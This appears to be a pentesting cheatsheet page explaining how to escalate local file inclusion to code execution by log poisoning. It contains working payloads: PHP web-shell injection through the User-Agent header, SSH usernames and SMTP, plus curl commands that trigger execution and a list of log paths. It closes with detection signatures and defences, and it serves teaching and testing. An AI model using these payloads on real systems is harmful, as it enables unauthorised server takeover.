the_open_door
coffee
ESEN
← Back to index

Log Poisoning (LFI to RCE)

Full command arsenal in the cheatsheet

Log poisoning turns a read-only LFI (local file inclusion) into code execution. The idea is simple: if the app includes (not just shows) the file we point it at and that file contains PHP code, the interpreter runs it. Many system files take attacker-controllable content; logs are the classic case, because they record data from our own requests.

The typical flow against a web server (Apache/nginx) is:

  1. Check the LFI reaches the log: include /var/log/nginx/access.log (or error.log, or Apache's). If its content shows up, we're good.
  2. Poison the log by sending a request with PHP code in a header that gets logged, almost always the User-Agent:
curl 'http://<host>/index.php?page=<lfi>/var/log/nginx/access.log' \
  -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
  1. Trigger execution by re-including the log via LFI: when parsed, the injected PHP runs and allows commands or a reverse shell.

Other equivalent poisoning vectors: the SSH log (/var/log/auth.log, putting PHP in the username of a failed login), the mail logs (/var/log/mail.log via SMTP), or PHP sessions (/var/lib/php/sessions/sess_<id>) if we control some session value.

# SSH: the failed-login username lands in auth.log
ssh '<?php system($_GET[c]); ?>'@<ip>
# SMTP: the body/fields land in mail.log
nc <ip> 25    # MAIL FROM/RCPT TO/DATA with <?php system($_GET[c]); ?>
# then include the log via LFI and add ?c=id
curl 'http://<ip>/index.php?page=/var/log/auth.log&c=id' --path-as-is

Common log paths to try: /var/log/apache2/access.log, /var/log/apache2/error.log, /var/log/nginx/access.log, /var/log/httpd/access_log, /var/log/vsftpd.log, /var/log/auth.log.

Requirements. The LFI must include and execute PHP (not a plain readfile/Content-Disposition), and the web process must be able to read the log. It connects directly to the LFI / path traversal that enables it.

How to detect it. The signature lives in the logs themselves: a User-Agent (or any logged header) containing <?php, system(, passthru( or $_GET is unnatural and a WAF/IDS flags it at once. In parallel, the access log shows requests to the inclusion parameter pointing at log paths (page=../../var/log/nginx/access.log) or at /var/lib/php/sessions/. Host-side confirmation is the web process (php-fpm, apache2) reading its own log file and then spawning sh/bash as a child (auditd/Sysmon for Linux over execve with the web process as ppid), which never happens in the normal flow.

Defence. Avoid including user-controlled paths (allowlists, not include $_GET), restrict log permissions, disable allow_url_include, and don't mix template inclusion with user input.

Machines where it's used